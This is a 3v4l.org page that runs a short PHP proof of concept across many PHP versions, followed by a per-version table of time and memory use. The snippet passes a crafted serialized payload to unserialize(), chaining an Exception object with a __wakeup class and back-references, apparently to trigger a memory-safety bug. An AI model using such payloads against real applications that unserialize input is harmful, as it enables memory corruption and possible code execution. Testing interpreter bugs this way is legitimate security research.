3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); $v = 'hi'; var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0180.00316.63
8.3.50.0120.00821.17
8.3.40.0070.01418.84
8.3.30.0000.01418.80
8.3.20.0040.00420.22
8.3.10.0040.00423.65
8.3.00.0040.00419.56
8.2.180.0140.00416.75
8.2.170.0090.01222.96
8.2.160.0100.00320.57
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0000.00826.16
8.2.120.0100.00017.63
8.2.110.0040.00422.25
8.2.100.0120.00017.50
8.2.90.0030.00519.17
8.2.80.0000.00817.97
8.2.70.0000.00817.50
8.2.60.0030.00717.93
8.2.50.0040.00418.07
8.2.40.0040.00419.29
8.2.30.0000.00919.69
8.2.20.0040.00417.61
8.2.10.0080.00017.95
8.2.00.0000.00818.09
8.1.280.0080.00625.92
8.1.270.0120.00320.42
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0170.00022.59
8.1.230.0110.00017.42
8.1.220.0050.00317.74
8.1.210.0060.00318.77
8.1.200.0000.00917.35
8.1.190.0040.00417.00
8.1.180.0050.00218.10
8.1.170.0000.00818.60
8.1.160.0000.00721.94
8.1.150.0040.00418.84
8.1.140.0030.00517.42
8.1.130.0000.00717.63
8.1.120.0000.00717.39
8.1.110.0000.00817.41
8.1.100.0000.00717.42
8.1.90.0000.00717.35
8.1.80.0080.00017.28
8.1.70.0030.00517.29
8.1.60.0040.00417.43
8.1.50.0040.00417.53
8.1.40.0030.00617.51
8.1.30.0000.00817.63
8.1.20.0070.00017.48
8.1.10.0060.00317.48
8.1.00.0000.00717.46
8.0.300.0080.00018.77
8.0.290.0080.00016.63
8.0.280.0030.00318.30
8.0.270.0090.00017.16
8.0.260.0000.00917.28
8.0.250.0050.00316.98
8.0.240.0000.00716.99
8.0.230.0000.00816.86
8.0.220.0060.00316.87
8.0.210.0070.00016.86
8.0.200.0000.00616.83
8.0.190.0030.00617.00
8.0.180.0000.00816.98
8.0.170.0030.00616.93
8.0.160.0040.00416.98
8.0.150.0000.00716.76
8.0.140.0000.00716.87
8.0.130.0000.00613.32
8.0.120.0000.00816.91
8.0.110.0040.00416.93
8.0.100.0000.00716.84
8.0.90.0000.00716.80
8.0.80.0110.00616.89
8.0.70.0030.00516.77
8.0.60.0070.00016.77
8.0.50.0060.00316.87
8.0.30.0100.01117.09
8.0.20.0140.00717.40
8.0.10.0000.00716.96
8.0.00.0090.00816.79
7.4.330.0050.00215.08
7.4.320.0040.00416.55
7.4.300.0060.00016.59
7.4.290.0000.00816.61
7.4.280.0030.00316.55
7.4.270.0060.00016.60
7.4.260.0000.00816.47
7.4.250.0080.00016.52
7.4.240.0040.00416.49
7.4.230.0040.00416.42
7.4.220.0090.00916.61
7.4.210.0120.00316.65
7.4.200.0040.00416.67
7.4.160.0110.00516.41
7.4.150.0100.01317.40
7.4.140.0150.00517.86
7.4.130.0090.00916.43
7.4.120.0050.01116.54
7.4.110.0050.01116.33
7.4.100.0060.01116.32
7.4.90.0090.00916.45
7.4.80.0140.00719.39
7.4.70.0090.00916.40
7.4.60.0100.00616.51
7.4.50.0000.00816.46
7.4.40.0130.00316.54
7.4.30.0080.01116.38
7.4.00.0070.00714.79
7.3.330.0050.00013.37
7.3.320.0000.00613.32
7.3.310.0000.00716.36
7.3.300.0000.00716.19
7.3.290.0000.00816.27
7.3.280.0110.00616.33
7.3.270.0140.00417.40
7.3.260.0090.00916.30
7.3.250.0110.00816.49
7.3.240.0030.01716.29
7.3.230.0140.00316.39
7.3.210.0150.00316.60
7.3.200.0090.00816.37
7.3.190.0100.01016.63
7.3.180.0100.00616.40
7.3.170.0080.00816.68
7.3.160.0120.00916.38
7.2.330.0080.00916.53
7.2.320.0060.01516.50
7.2.310.0060.01216.55
7.2.300.0070.01016.54
7.2.290.0090.00616.68
7.2.80.0060.00616.56
7.2.60.0190.01016.52
7.2.00.0090.00619.53
7.1.200.0030.00915.77
7.1.100.0070.00418.12
7.1.70.0030.00716.95
7.1.60.0070.00419.27
7.1.50.0190.00616.57
7.1.00.0030.07722.48
7.0.200.0230.00416.45
7.0.60.0030.08319.96
7.0.50.0030.05717.88
7.0.40.0030.04720.21
7.0.30.0270.07720.06
7.0.20.0230.06020.06
7.0.10.0130.07720.06
7.0.00.0130.08320.20
5.6.280.0000.03321.03
5.6.210.0070.07720.77
5.6.200.0070.08718.15
5.6.190.0030.08720.42
5.6.180.0200.06320.63
5.6.170.0200.06020.62
5.6.160.0130.06720.54
5.6.150.0100.05018.28
5.6.140.0030.05018.27
5.6.130.0030.04018.24
5.6.120.0000.04320.90
5.6.110.0000.06320.99
5.6.100.0030.06721.00
5.6.90.0000.08721.10
5.6.80.0130.07320.38
5.6.70.4570.03320.35
5.5.350.0200.03720.53
5.5.340.0100.08018.01
5.5.330.0100.07320.31
5.5.320.0330.07320.40
5.5.310.0300.07720.37
5.5.300.0170.07017.95
5.5.290.0100.08017.98
5.5.280.0130.07020.65
5.5.270.0070.07720.77
5.5.260.0030.09020.86
5.5.250.0170.07320.70
5.5.240.0000.08020.21
5.4.450.0530.06319.34
5.4.440.0770.05019.47
5.4.430.0770.07319.57
5.4.420.0670.06019.57
5.4.410.0830.07018.96
5.4.400.0800.05018.78
5.4.390.0730.04319.07
5.4.380.0500.07019.06
5.4.370.0700.05319.19
5.4.360.0770.05719.05
5.4.350.0600.05719.26
5.4.340.0730.05719.36
5.4.320.0800.05719.21
5.4.310.0730.05319.25
5.4.300.0670.05319.21
5.4.290.0900.04319.36
5.4.280.0700.05319.18
5.4.270.0700.05719.07
5.4.260.0730.05719.30
5.4.250.0600.06019.34
5.4.240.0630.05719.00
5.4.230.0770.06018.77
5.4.220.0630.05719.00
5.4.210.0730.04719.18
5.4.200.0600.05319.07
5.4.190.0700.05319.34
5.4.180.0670.05718.78
5.4.170.0630.06319.06
5.4.160.0770.06019.02
5.4.150.0800.05318.86
5.4.140.0800.05316.56
5.4.130.0870.06316.51
5.4.120.0970.05316.46
5.4.110.0800.06016.45
5.4.100.0630.05016.57
5.4.90.0930.04716.20
5.4.80.0570.05716.23
5.4.70.0330.03016.56
5.4.60.0370.06016.50
5.4.50.0000.05016.31
5.4.40.0000.03716.35
5.4.30.0030.06016.44
5.4.20.0300.07016.47

preferences:
45.58 ms | 401 KiB | 5 Q